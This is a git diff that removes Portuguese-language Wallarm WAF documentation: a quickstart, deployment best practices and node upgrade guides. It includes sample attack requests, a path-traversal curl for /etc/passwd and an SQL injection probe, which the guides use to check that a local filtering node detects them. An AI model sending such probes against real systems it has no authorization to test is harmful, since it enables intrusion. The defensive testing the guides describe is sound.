de segurança Wallarm, recomendamos as seguintes práticas: - -* Utilize a proteção DDoS L3 do seu provedor de serviços em nuvem. A proteção DDoS L3 opera no nível de rede e ajuda a mitigar ataques distribuídos de negação de serviço. A maioria dos provedores de serviços em nuvem oferece proteção L3 como parte de seus serviços. -* Siga as recomendações de configuração segura para seus servidores web ou gateways de API. Por exemplo, certifique-se de obedecer às diretrizes de configuração segura se estiver usando o [NGINX](https://www.cyberciti.biz/tips/linux-unix-bsd-nginx-webserver-security.html) ou [Kong](https://konghq.com/learning-center/api-gateway/secure-api-gateway). - -Ao incorporar essas práticas adicionais juntamente com as [medidas de proteção DDoS L7 da Wallarm](../admin-en/configuration-guides/protecting-against-ddos.md#l7-ddos-protection-with-wallarm), você pode melhorar significativamente a segurança geral das suas aplicações. - -## Verifique e aprimore a cobertura das principais ameaças API OWASP - -O OWASP API Security Top 10 é um padrão ouro para a avaliação do risco de segurança em APIs. Para ajudá-lo a medir a postura de segurança da sua API contra essas ameaças de API, o Wallarm oferece os [painéis](../user-guides/dashboards/owasp-api-top-ten.md) que fornecem visibilidade clara e métricas para a mitigação das principais ameaças, tanto da versão de 2019 quanto da de 2023. - -Estes painéis ajudam você a avaliar o estado geral de segurança e a abordar proativamente as questões de segurança descobertas configurando controles de segurança apropriados. \ No newline at end of file diff --git a/docs/latest-pt-BR/quickstart/getting-started.md b/docs/latest-pt-BR/quickstart/getting-started.md deleted file mode 100644 index c3a05ee92d..0000000000 --- a/docs/latest-pt-BR/quickstart/getting-started.md +++ /dev/null @@ -1,105 +0,0 @@ -[operation-mode-rule-docs]: ../user-guides/rules/wallarm-mode-rule.md -[filtration-modes-docs]: ../admin-en/configure-wallarm-mode.md -[graylist-docs]: ../user-guides/ip-lists/graylist.md -[wallarm-cloud-docs]: ../about-wallarm/overview.md#cloud -[user-roles-docs]: ../user-guides/settings/users.md -[rules-docs]: ../user-guides/rules/rules.md -[ip-lists-docs]: ../user-guides/ip-lists/overview.md -[integration-docs]: ../user-guides/settings/integrations/integrations-intro.md -[trigger-docs]: ../user-guides/triggers/triggers.md -[application-docs]: ../user-guides/settings/applications.md -[events-docs]: ../user-guides/events/check-attack.md -[sqli-attack-desc]: ../attacks-vulns-list.md#sql-injection -[xss-attack-desc]: ../attacks-vulns-list.md#crosssite-scripting-xss - -# Início rápido na plataforma Wallarm - -A plataforma Wallarm protege aplicativos da web, APIs e microserviços contra ataques OWASP e OWASP Top 10, bots e abusos de aplicativos com falsos positivos ultra baixos. Você pode começar a usar a plataforma completa gratuitamente com um limite de 500 mil solicitações de API mensais ao seguir este guia. - -Em um início rápido, você irá registrar sua conta Wallarm e executar o primeiro nó de filtragem Wallarm em poucos minutos. Tendo uma cota gratuita, você poderá experimentar a potência do produto em tráfego real. - -## Conheça Wallarm no Playground - -Para explorar o Wallarm antes mesmo de se inscrever e implementar quaisquer componentes em seu ambiente, use o [Wallarm Playground](https://tour.playground.wallarm.com/?utm_source=wallarm_docs_quickstartpt). - -No Playground, você pode acessar a visualização do Console Wallarm como se estivesse preenchida com dados reais. O Console Wallarm é o principal componente da plataforma Wallarm que exibe dados sobre tráfego processado e permite o ajuste fino da plataforma. Portanto, com o Playground você pode aprender e experimentar como o produto funciona e obter alguns exemplos úteis de seu uso no modo somente leitura. - -![UI para criar conta](../images/playground.png) - -Para experimentar as capacidades da solução Wallarm em seu tráfego, [crie uma conta gratuita](#criar-conta-wallarm-e-obter-plano-gratis). - -## Criar conta Wallarm e obter plano grátis - -Para criar uma conta Wallarm: - -1. Siga o link de registro na [Nuvem dos EUA](https://us1.my.wallarm.com/signup) ou na [Nuvem da UE](https://my.wallarm.com/signup) do Wallarm e insira seus dados pessoais. - - [Mais detalhes sobre as nuvens Wallarm →](../about-wallarm/overview.md#cloud) -1. Confirme sua conta seguindo o link da mensagem de confirmação enviada para o seu email. - -Uma vez que a conta é registrada e confirmada, ela é automaticamente atribuída ao **Plano grátis** ou **Teste gratuito**, dependendo da Nuvem Wallarm usada: - -* Na Nuvem dos EUA, o Plano Grátis permite que você explore o poder da solução Wallarm gratuitamente para 500 mil solicitações mensais. -* Na Nuvem da UE, existe um período de teste que permite explorar a solução Wallarm gratuitamente por 14 dias. - -Continue implementando o [primeiro nó de filtragem Wallarm](#implantar-o-nó-de-filtragem-wallarm). - -## Implantar o nó de filtragem Wallarm - -Wallarm suporta [várias opções para implementação do nó de filtragem](../installation/supported-deployment-options.md). Você pode aprender e escolher o mais apropriado ou seguir o caminho mais rápido para começar com o Wallarm conforme descrito abaixo. - -Para implantar rapidamente o nó como um componente de sua infraestrutura, primeiro certifique-se de que você tenha: - -* [Docker instalado](https://docs.docker.com/engine/install/) -* O [papel de **Administrador**][user-roles-docs] na conta Wallarm - -Implante o nó de filtragem Wallarm a partir da imagem Docker: - -1. Abra o Console Wallarm → **Nós** na [Nuvem dos EUA](https://us1.my.wallarm.com/nodes) ou na [Nuvem da UE](https://my.wallarm.com/nodes) e crie o nó do tipo **Nó Wallarm**. - - ![Criação do nó Wallarm](../images/create-wallarm-node-empty-list.png) - - Quanto à caixa de seleção **Nó multi-inquilino**, deixe-a desmarcada. Essa caixa de seleção está relacionada à configuração de um recurso correspondente que não faz parte de um início rápido. -1. Copie o token gerado. -1. Execute o contêiner com o nó: - -=== "Nuvem dos EUA" - ```bash - docker run -d -e WALLARM_API_TOKEN='XXXXXXX' -e NGINX_BACKEND='example.com' -e WALLARM_API_HOST='us1.api.wallarm.com' -p 80:80 wallarm/node:4.8.0-1 - ``` -=== "Nuvem da UE" - ```bash - docker run -d -e WALLARM_API_TOKEN='XXXXXXX' -e NGINX_BACKEND='example.com' -p 80:80 wallarm/node:4.8.0-1 - ``` - -Variável de ambiente | Descrição| Obrigatório ---- | ---- | ---- -`WALLARM_API_TOKEN` | Token do nó Wallarm copiado da interface do usuário do Console Wallarm. | Sim -`NGINX_BACKEND` | Domínio ou endereço IP do recurso para proteger com a solução Wallarm. | Sim -`WALLARM_API_HOST` | Servidor de API do Wallarm:
            • `us1.api.wallarm.com` para a Nuvem dos EUA
            • `api.wallarm.com` para a Nuvem da UE
            Por padrão: `api.wallarm.com`. | Não -`WALLARM_MODE` | Modo do nó:
            • `block` para bloquear solicitações maliciosas
            • `safe_blocking` para bloquear apenas aquelas solicitações maliciosas originárias de [endereços IP em lista cinza][graylist-docs]
            • `monitoring` para analisar mas não bloquear solicitações
            • `off` para desativar a análise e processamento de tráfego
            Por padrão: `monitoring`.
            [Descrição detalhada dos modos de filtragem →][filtration-modes-docs] | Não - -Para testar a implantação, execute o primeiro ataque com o payload malicioso [Path Traversal](../attacks-vulns-list.md#path-traversal): - -``` -curl http://localhost/etc/passwd -``` - -Se `NGINX_BACKEND` for `example.com`, passe adicionalmente a opção `-H 'Host: example.com'` no comando curl. - -Como o nó opera no [modo de filtragem de **monitoramento**](../admin-en/configure-wallarm-mode.md#available-filtration-modes) por padrão, o nó Wallarm não bloqueará o ataque, mas o registrará. Para verificar se o ataque foi registrado, prossiga para o Console Wallarm → **Eventos**: - -![Ataques na interface](../images/admin-guides/test-attacks-quickstart.png) - -## Próximos passos - -A implantação rápida do nó Wallarm foi concluída com sucesso! - -Para obter mais da etapa de implantação: - -* [Aprenda o guia completo sobre a implantação do nó Wallarm baseado em NGINX com Docker](../admin-en/installation-docker-en.md) -* [Saiba todas as opções de implantação suportadas pelo Wallarm](../installation/supported-deployment-options.md) - -Para ajustar ainda mais o nó implantado, aprenda os recursos: - ---8<-- "../include-pt-BR/waf/installation/quick-start-configuration-options-4.4.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/reference/comparing-wallarm-to-other-solutions.md b/docs/latest-pt-BR/reference/comparing-wallarm-to-other-solutions.md deleted file mode 100644 index 1b77180b1d..0000000000 --- a/docs/latest-pt-BR/reference/comparing-wallarm-to-other-solutions.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/reference/comparing-wallarm-to-other-solutions.md" diff --git a/docs/latest-pt-BR/sla.md b/docs/latest-pt-BR/sla.md deleted file mode 100644 index 85288adf35..0000000000 --- a/docs/latest-pt-BR/sla.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/sla.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/technical-best-practices-for-future.md b/docs/latest-pt-BR/technical-best-practices-for-future.md deleted file mode 100644 index 318b6620c0..0000000000 --- a/docs/latest-pt-BR/technical-best-practices-for-future.md +++ /dev/null @@ -1,33 +0,0 @@ -# Melhores práticas para implantação e manutenção da solução Wallarm - -Este artigo formula as melhores práticas para implantação e manutenção da solução Wallarm. - - -## Implante os nós de filtragem não apenas no ambiente de produção, mas também em testes e preparação - melhores práticas técnicas - -A maioria dos contratos de serviço da Wallarm não limita o número de nós da Wallarm implantados pelo cliente, por isso não há motivo para não implantar os nós de filtragem em todos os seus ambientes, incluindo desenvolvimento, teste, preparação, etc. - -Ao implantar e usar os nós de filtragem em todas as etapas de suas atividades de desenvolvimento de software e/ou operação de serviço, você tem uma chance melhor de testar adequadamente todo o fluxo de dados e minimizar o risco de quaisquer situações inesperadas em seu ambiente de produção crítico. - -## Configure o relatório adequado de endereços IP do usuário final - melhores práticas técnicas, além disso, deve haver um link para isso em cada instrução de implantação - -Para os nós de filtragem da Wallarm localizados atrás de um balanceador de carga ou CDN, certifique-se de configurar seus nós de filtragem para relatar adequadamente os endereços IP do usuário final (caso contrário, a [funcionalidade da lista de IP](../user-guides/ip-lists/overview.md), [Verificação de ameaça ativa](detecting-vulnerabilities.md#active-threat-verification), e alguns outros recursos não funcionarão): - -* [Instruções para nós Wallarm baseados em NGINX](../admin-en/using-proxy-or-balancer-en.md) (incluindo imagens AWS / GCP e recipiente de nó Docker) -* [Instruções para os nós de filtragem implantados como o controlador de Ingress da Wallarm no Kubernetes](../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md) - -## Ative o monitoramento adequado dos nós de filtragem - mover para a instrução de monitoramento e melhores práticas técnicas - -É altamente recomendável ativar o monitoramento adequado dos nós de filtragem da Wallarm. - -O método para configurar o monitoramento do nó de filtragem depende de sua opção de implantação: - -* [Instruções para os nós de filtragem implantados como o controlador de Ingress da Wallarm no Kubernetes](../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md) -* [Instruções para a imagem Docker baseada em NGINX](../admin-en/installation-docker-en.md#monitoring-configuration) - -## Implemente a redundância adequada e funcionalidade de failover automático - -Como com todos os outros componentes críticos em seu ambiente de produção, os nós da Wallarm devem ser arquitetados, implantados e operados com o nível adequado de redundância e failover automático. Você deve ter **pelo menos dois nós de filtragem Wallarm ativos** lidando com solicitações críticas do usuário final. Os seguintes artigos fornecem informações relevantes sobre o tópico: - -* [Instruções para nós Wallarm baseados em NGINX](../admin-en/configure-backup-en.md) (incluindo imagens AWS / GCP, recipiente de nó Docker e sidecars Kubernetes) -* [Instruções para os nós de filtragem implantados como o controlador de Ingress da Wallarm no Kubernetes](../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/high-availability-considerations.md) diff --git a/docs/latest-pt-BR/troubleshooting/detection-and-blocking.md b/docs/latest-pt-BR/troubleshooting/detection-and-blocking.md deleted file mode 100644 index f01beda46c..0000000000 --- a/docs/latest-pt-BR/troubleshooting/detection-and-blocking.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/troubleshooting/detection-and-blocking.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/troubleshooting/detection-tools-tuning.md b/docs/latest-pt-BR/troubleshooting/detection-tools-tuning.md deleted file mode 100644 index 65dc325614..0000000000 --- a/docs/latest-pt-BR/troubleshooting/detection-tools-tuning.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/troubleshooting/detection-tools-tuning.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/troubleshooting/overview.md b/docs/latest-pt-BR/troubleshooting/overview.md deleted file mode 100644 index 502e7abcda..0000000000 --- a/docs/latest-pt-BR/troubleshooting/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/troubleshooting/overview.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/troubleshooting/performance.md b/docs/latest-pt-BR/troubleshooting/performance.md deleted file mode 100644 index 4429ae3107..0000000000 --- a/docs/latest-pt-BR/troubleshooting/performance.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/troubleshooting/performance.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/troubleshooting/wallarm-issues-in-nginx-error-log.md b/docs/latest-pt-BR/troubleshooting/wallarm-issues-in-nginx-error-log.md deleted file mode 100644 index bb2e061736..0000000000 --- a/docs/latest-pt-BR/troubleshooting/wallarm-issues-in-nginx-error-log.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/troubleshooting/wallarm-issues-in-nginx-error-log.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/updating-migrating/all-in-one.md b/docs/latest-pt-BR/updating-migrating/all-in-one.md deleted file mode 100644 index b055e5879e..0000000000 --- a/docs/latest-pt-BR/updating-migrating/all-in-one.md +++ /dev/null @@ -1,137 +0,0 @@ -[statistics-service-all-parameters]: ../admin-en/configure-statistics-service.md -[img-attacks-in-interface]: ../images/admin-guides/test-attacks-quickstart.png -[tarantool-status]: ../images/tarantool-status.png -[configure-proxy-balancer-instr]: ../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[sqli-attack-docs]: ../attacks-vulns-list.md#sql-injection -[xss-attack-docs]: ../attacks-vulns-list.md#crosssite-scripting-xss - -# Atualizando o nó Wallarm com o instalador All-in-One - -Estas instruções descrevem os passos para atualizar o nó Wallarm 4.x instalado usando o [instalador all-in-one](../installation/nginx/all-in-one.md) para a versão 4.8. - -## Requerimentos - ---8<-- "../include-pt-BR/waf/installation/all-in-one-upgrade-requirements.md" - -## Procedimento de atualização - -O procedimento de atualização difere dependendo de como os módulos do nó de filtragem e pós-análise estão instalados: - -* [No mesmo servidor](#filtering-node-and-postanalytics-on-the-same-server): os módulos são atualizados juntos -* [Em servidores diferentes](#filtering-node-and-postanalytics-on-different-servers): **primeiro** atualize o módulo de pós-análise e **depois** o módulo de filtragem - -## Nó de filtragem e pós-análise no mesmo servidor - -Use o procedimento abaixo para atualizar juntos os módulos do nó de filtragem e pós-análise instalados usando o instalador all-in-one no mesmo servidor. - -### Passo 1: Prepare o token Wallarm - -Para atualizar o nó, você precisará de um token Wallarm de [um dos tipos](../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation). Para preparar um token: - -=== "Token de API" - - 1. Abra o Wallarm Console → **Configurações** → **Tokens de API** no [US Cloud](https://us1.my.wallarm.com/settings/api-tokens) ou [EU Cloud](https://my.wallarm.com/settings/api-tokens). - 1. Encontre ou crie um token de API com o papel de fonte `Deploy`. - 1. Copie este token. - -=== "Token do nó" - - Para atualizar, use o mesmo token do nó que foi utilizado para a instalação: - - 1. Abra o Wallarm Console → **Nós** no [US Cloud](https://us1.my.wallarm.com/nodes) ou [EU Cloud](https://my.wallarm.com/nodes). - 1. No grupo de nós existente, copie o token usando o menu do nó → **Copiar token**. - -### Passo 2: Baixe a versão mais recente do instalador Wallarm all-in-one - ---8<-- "../include-pt-BR/waf/installation/all-in-one-installer-download.md" - -### Passo 3: Execute o instalador Wallarm all-in-one - ---8<-- "../include-pt-BR/waf/installation/all-in-one-installer-run.md" - -### Passo 4: Reinicie o NGINX - ---8<-- "../include-pt-BR/waf/installation/restart-nginx-systemctl.md" - -### Passo 5: Teste a operação do nó Wallarm - -Para testar a nova operação do nó: - -1. Envie a requisição com testes de [SQLI][sqli-attack-docs] e [XSS][xss-attack-docs] ataques ao endereço do recurso protegido: - - ``` - curl http://localhost/?id='or+1=1--a-' - ``` - -1. Abra a seção Wallarm Console → **Eventos** no [US Cloud](https://us1.my.wallarm.com/attacks) ou [EU Cloud](https://my.wallarm.com/attacks) e certifique-se de que os ataques são exibidos na lista. -1. Assim que os dados armazenados em seu Cloud (regras, listas de IP) forem sincronizados com o novo nó, realize alguns ataques de teste para ter certeza de que suas regras funcionam conforme o esperado. - -## Nó de filtragem e pós-análise em servidores diferentes - -!!! warning "Sequência de passos para atualizar os módulos de nó de filtragem e pós-análise" - Se o nó de filtragem e os módulos de pós-análise estiverem instalados em servidores diferentes, será necessário atualizar os pacotes de pós-análise antes de atualizar os pacotes de nó de filtragem. - -### Passo 1: Prepare o token Wallarm - -Para atualizar o nó, você precisará de um token Wallarm de [um dos tipos](../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation). Para preparar um token: - -=== "Token de API" - - 1. Abra o Wallarm Console → **Configurações** → **Tokens de API** no [US Cloud](https://us1.my.wallarm.com/settings/api-tokens) ou [EU Cloud](https://my.wallarm.com/settings/api-tokens). - 1. Encontre ou crie um token de API com o papel de fonte `Deploy`. - 1. Copie este token. - -=== "Token do nó" - - Para atualizar, use o mesmo token do nó que foi utilizado para a instalação: - - 1. Abra o Wallarm Console → **Nós** no [US Cloud](https://us1.my.wallarm.com/nodes) ou [EU Cloud](https://my.wallarm.com/nodes). - 1. No grupo de nós existente, copie o token usando o menu do nó → **Copiar token**. - -### Passo 2: Baixe a versão mais recente do instalador Wallarm all-in-one para a máquina de pós-análise - -Este passo é realizado na máquina de pós-análise. - ---8<-- "../include-pt-BR/waf/installation/all-in-one-installer-download.md" - -### Passo 3: Execute o instalador Wallarm all-in-one para atualizar o pós-analítico - -Este passo é realizado na máquina de pós-análise. - ---8<-- "../include-pt-BR/waf/installation/all-in-one-postanalytics.md" - -### Passo 4: Baixe a versão mais recente do instalador Wallarm all-in-one para a máquina do nó de filtragem - -Este passo é realizado na máquina do nó de filtragem. - ---8<-- "../include-pt-BR/waf/installation/all-in-one-installer-download.md" - -### Passo 5: Execute o instalador Wallarm all-in-one para atualizar o nó de filtragem - -Este passo é realizado na máquina do nó de filtragem. - -Para atualizar o nó de filtragem separadamente com o instalador all-in-one, use: - -=== "Token de API" - ```bash - # Se usando a versão x86_64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.8.0.x86_64-glibc.sh filtering - - # Se usando a versão ARM64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.8.0.aarch64-glibc.sh filtering - ``` - - A variável `WALLARM_LABELS` define o grupo ao qual o nó será adicionado (usado para agrupamento lógico de nós na interface do usuário do Wallarm Console). - -=== "Token do nó" - ```bash - # Se usando a versão x86_64: - sudo sh wallarm-4.8.0.x86_64-glibc.sh filtering - - # Se usando a versão ARM64: - sudo sh wallarm-4.8.0.aarch64-glibc.sh filtering - ``` - -### Passo 6: Verifique a interação dos módulos do nó de filtragem e pós-análise separados - ---8<-- "../include-pt-BR/waf/installation/all-in-one-postanalytics-check.md" diff --git a/docs/latest-pt-BR/updating-migrating/cdn-node.md b/docs/latest-pt-BR/updating-migrating/cdn-node.md deleted file mode 100644 index 6f4a36f3f3..0000000000 --- a/docs/latest-pt-BR/updating-migrating/cdn-node.md +++ /dev/null @@ -1,17 +0,0 @@ -# Atualizando o nó CDN - -Estas instruções descrevem os passos para atualizar o nó CDN da Wallarm, disponível a partir da versão 3.6. - -1. Exclua o registro CNAME da Wallarm nos registros DNS do domínio protegido. - - !!! aviso "Mitigação de solicitações maliciosas será interrompida" - Uma vez que o registro CNAME é removido e as alterações entram em vigor na internet, o nó CDN da Wallarm vai parar de encaminhar solicitações, e o tráfico legítimo e malicioso vai diretamente para o recurso protegido. - - Isso resulta no risco de exploração de vulnerabilidades do servidor protegido quando o registro DNS deletado entrou em vigor, mas o registro CNAME gerado para a nova versão do nó ainda não entrou em vigor. -1. Aguarde a propagação das alterações. O status real do registro CNAME é exibido no Console Wallarm → **Nós** → **CDN** → **Excluir nó**. -1. Exclua o nó CDN no Console Wallarm → **Nós**. - - ![Excluindo o nó](../images/user-guides/nodes/delete-cdn-node.png) -1. Crie o nó CDN de uma versão mais recente protegendo o mesmo domínio, seguindo as [instruções](../installation/cdn-node.md). - -Como todas as configurações do nó CDN são salvas na Nuvem Wallarm, o novo nó CDN receberá automaticamente as configurações. Não é necessário mover a configuração do nó manualmente se o domínio protegido não mudou. \ No newline at end of file diff --git a/docs/latest-pt-BR/updating-migrating/cloud-image.md b/docs/latest-pt-BR/updating-migrating/cloud-image.md deleted file mode 100644 index 4171824f96..0000000000 --- a/docs/latest-pt-BR/updating-migrating/cloud-image.md +++ /dev/null @@ -1,80 +0,0 @@ -[wallarm-status-instr]: ../admin-en/configure-statistics-service.md -[memory-instr]: ../admin-en/configuration-guides/allocate-memory-for-waf-node.md -[waf-directives-instr]: ../admin-en/configure-parameters-en.md -[ptrav-attack-docs]: ../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../images/admin-guides/test-attacks-quickstart.png -[nginx-process-time-limit-docs]: ../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[nginx-process-time-limit-block-docs]: ../admin-en/configure-parameters-en.md#wallarm_process_time_limit_block -[overlimit-res-rule-docs]: ../user-guides/rules/configure-overlimit-res-detection.md -[graylist-docs]: ../user-guides/ip-lists/graylist.md -[waf-mode-instr]: ../admin-en/configure-wallarm-mode.md - -# Atualizando a imagem do nó na nuvem - -Estas instruções descrevem os passos para atualizar a imagem do nó na nuvem 4.x implantado no AWS ou GCP até 4.8. - -Para atualizar o nó final da vida (3.6 ou inferior), por favor, use as [instruções diferentes](older-versions/cloud-image.md). - -## Requisitos - ---8<-- "../include-pt-BR/waf/installation/basic-reqs-for-upgrades.md" - -## Passo 1: Inicie uma nova instância com o nó de filtragem 4.8 - -1. Abra a imagem do nó de filtragem Wallarm na plataforma de nuvem do marketplace e prossiga para o lançamento da imagem: - * [Mercado da Amazon](https://aws.amazon.com/marketplace/pp/B073VRFXSD) - * [Mercado do GCP](https://console.cloud.google.com/marketplace/details/wallarm-node-195710/wallarm-node) -2. Na etapa de lançamento, defina as seguintes configurações: - - * Selecione a versão da imagem `4.8.x` - * Para AWS, selecione o [grupo de segurança criado](../installation/cloud-platforms/aws/ami.md#2-create-a-security-group) no campo **Configurações do Grupo de Segurança** - * Para AWS, selecione o nome do [par de chaves criado](../installation/cloud-platforms/aws/ami.md#1-create-a-pair-of-ssh-keys) no campo **Configurações do par de chaves** -3. Confirme o lançamento da instância. -4. Para GCP, configure a instância seguindo estas [instruções](../installation/cloud-platforms/gcp/machine-image.md#2-configure-the-filtering-node-instance). - -## Passo 2: Conecte o nó de filtragem à Wallarm Cloud - -1. Conecte-se à instância do nó de filtragem via SSH. Instruções mais detalhadas para conectar-se às instâncias estão disponíveis na documentação da plataforma de nuvem: - * [Documentação da AWS](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AccessingInstances.html) - * [Documentação do GCP](https://cloud.google.com/compute/docs/instances/connecting-to-instance) -2. Crie um novo nó Wallarm e conecte-o à Wallarm Cloud usando o token gerado conforme descrito nas instruções para a plataforma de nuvem: - * [AWS](../installation/cloud-platforms/aws/ami.md#5-connect-the-filtering-node-to-the-wallarm-cloud) - * [GCP](../installation/cloud-platforms/gcp/machine-image.md#4-connect-the-filtering-node-to-the-wallarm-cloud) - -## Passo 3: Copie as configurações do nó de filtragem da versão anterior para a nova versão - -1. Copie as configurações para processar e encaminhar solicitações dos seguintes arquivos de configuração da versão anterior do nó Wallarm para os arquivos do nó de filtragem 4.8: - - * `/etc/nginx/nginx.conf` e outros arquivos com configurações NGINX - * `/etc/nginx/conf.d/wallarm.conf` com configurações globais do nó de filtragem - * `/etc/nginx/conf.d/wallarm-status.conf` com as configurações do serviço de monitoramento do nó de filtragem - * `/etc/environment` com variáveis de ambiente - * `/etc/default/wallarm-tarantool` com configurações do Tarantool - * outros arquivos com configurações personalizadas para processar e encaminhar solicitações -1. Se a página `&/usr/share/nginx/html/wallarm_blocked.html` é retornada para solicitações bloqueadas, [copie e personalize](../admin-en/configuration-guides/configure-block-page-and-code.md#customizing-sample-blocking-page) a sua nova versão. - - Na nova versão do nó, a página de bloqueio de amostra da Wallarm foi [alterada](what-is-new.md#new-blocking-page). O logotipo e o email de suporte na página agora estão vazios por padrão. - -Informações detalhadas sobre como trabalhar com arquivos de configuração NGINX estão disponíveis na [documentação oficial do NGINX](https://nginx.org/docs/beginners_guide.html). - -A lista de diretivas do nó de filtragem está disponível [aqui](../admin-en/configure-parameters-en.md). - -## Passo 4: Reinicie o NGINX - -Reinicie o NGINX para aplicar as configurações: - -```bash -sudo systemctl restart nginx -``` - -## Passo 5: Teste a operação do nó Wallarm - ---8<-- "../include-pt-BR/waf/installation/test-waf-operation-no-stats.md" - -## Passo 6: Crie a imagem da máquina virtual com base no nó de filtragem 4.8 na AWS ou GCP - -Para criar a imagem da máquina virtual com base no nó de filtragem 4.8, siga as instruções para [AWS](../admin-en/installation-guides/amazon-cloud/create-image.md) ou [GCP](../admin-en/installation-guides/google-cloud/create-image.md). - -## Passo 7: Delete a instância anterior do nó Wallarm - -Se a nova versão do nó de filtragem estiver configurada e testada com sucesso, remova a instância e a imagem da máquina virtual com a versão anterior do nó de filtragem usando o console de gerenciamento de AWS ou GCP. diff --git a/docs/latest-pt-BR/updating-migrating/docker-container.md b/docs/latest-pt-BR/updating-migrating/docker-container.md deleted file mode 100644 index 89cfd6ad17..0000000000 --- a/docs/latest-pt-BR/updating-migrating/docker-container.md +++ /dev/null @@ -1,80 +0,0 @@ -[waf-mode-instr]: ../admin-en/configure-wallarm-mode.md -[blocking-page-instr]: ../admin-en/configuration-guides/configure-block-page-and-code.md -[logging-instr]: ../admin-en/configure-logging.md -[proxy-balancer-instr]: ../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[allocating-memory-guide]: ../admin-en/configuration-guides/allocate-resources-for-node.md -[ptrav-attack-docs]: ../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../images/admin-guides/test-attacks-quickstart.png -[nginx-process-time-limit-docs]: ../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[nginx-process-time-limit-block-docs]: ../admin-en/configure-parameters-en.md#wallarm_process_time_limit_block -[overlimit-res-rule-docs]: ../user-guides/rules/configure-overlimit-res-detection.md -[graylist-docs]: ../user-guides/ip-lists/graylist.md -[waf-mode-instr]: ../admin-en/configure-wallarm-mode.md -[envoy-process-time-limit-docs]: ../admin-en/configuration-guides/envoy/fine-tuning.md#process_time_limit -[envoy-process-time-limit-block-docs]: ../admin-en/configuration-guides/envoy/fine-tuning.md#process_time_limit_block -[ip-lists-docs]: ../user-guides/ip-lists/overview.md - -# Atualizando a imagem Docker baseada em NGINX ou Envoy - -Estas instruções descrevem os passos para atualizar a imagem Docker em execução baseada em NGINX ou Envoy 4.x para a versão 4.8. - -!!! warning "Usando credenciais de um nó Wallarm já existente" - Não recomendamos o uso de um nó Wallarm já existente da versão anterior. Siga estas instruções para criar um novo nó de filtragem da versão 4.8 e implantá-lo como um container Docker. - -Para atualizar o nó no fim da vida útil (3.6 ou inferior), por favor use [outras instruções](older-versions/docker-container.md). - -## Requisitos - ---8<-- "../include-pt-BR/waf/installation/requirements-docker-nginx-4.0.md" - -## Passo 1: Baixe a imagem atualizada do nó de filtragem - -=== "NGINX-based image" - ``` bash - docker pull wallarm/node:4.8.0-1 - ``` -=== "Envoy-based image" - ``` bash - docker pull wallarm/envoy:4.8.0-1 - ``` - -## Passo 2: Atualize a página de bloqueio do Wallarm (se atualizar imagem baseada em NGINX) - -Na nova versão do nó, a página de bloqueio de amostra do Wallarm foi [alterada](what-is-new.md#new-blocking-page). O logotipo e o e-mail de suporte na página agora estão vazios por padrão. - -Se o container Docker foi configurado para retornar a página `&/usr/share/nginx/html/wallarm_blocked.html` para solicitações bloqueadas, altere esta configuração da seguinte maneira: - -1. [Copie e personalize](../admin-en/configuration-guides/configure-block-page-and-code.md#customizing-sample-blocking-page) a nova versão de uma página de amostra. -1. [Monte](../admin-en/configuration-guides/configure-block-page-and-code.md#path-to-the-htm-or-html-file-with-the-blocking-page-and-error-code) a página personalizada e o arquivo de configuração NGINX em um novo container Docker na próxima etapa. - -## Passo 3: Pare o container em execução - -```bash -docker stop -``` - -## Passo 4: Execute o container usando a nova imagem - -1. Vá para Wallarm Console → **Nodes** e crie o **Nó Wallarm**. - - ![Criação de um nó Wallarm](../images/user-guides/nodes/create-wallarm-node-name-specified.png) -1. Copie o token gerado. -1. Execute a imagem atualizada usando o token copiado. Você pode passar os mesmos parâmetros de configuração que foram passados ao executar uma versão anterior da imagem (exceto pelo token de nó). - - Existem duas opções para executar o container usando a imagem atualizada: - - * **Com as variáveis de ambiente** especificando a configuração básica do nó de filtragem - * [Instruções para o container Docker baseado em NGINX →](../admin-en/installation-docker-en.md#run-the-container-passing-the-environment-variables) - * [Instruções para o container Docker baseado em Envoy →](../admin-en/installation-guides/envoy/envoy-docker.md#run-the-container-passing-the-environment-variables) - * **No arquivo de configuração montado** especificando a configuração avançada do nó de filtragem - * [Instruções para o container Docker baseado em NGINX →](../admin-en/installation-docker-en.md#run-the-container-mounting-the-configuration-file) - * [Instruções para o container Docker baseado em Envoy →](../admin-en/installation-guides/envoy/envoy-docker.md#run-the-container-mounting-envoyyaml) - -## Passo 5: Teste a operação do nó de filtragem - ---8<-- "../include-pt-BR/waf/installation/test-waf-operation-no-stats.md" - -## Passo 6: Delete o nó de filtragem da versão anterior - -Se a imagem implantada da versão 4.8 operar corretamente, você pode excluir o nó de filtragem da versão anterior em Wallarm Console → **Nodes**. diff --git a/docs/latest-pt-BR/updating-migrating/general-recommendations.md b/docs/latest-pt-BR/updating-migrating/general-recommendations.md deleted file mode 100644 index 463a30aeb6..0000000000 --- a/docs/latest-pt-BR/updating-migrating/general-recommendations.md +++ /dev/null @@ -1,50 +0,0 @@ -# Recomendações de um processo de atualização seguro do nó 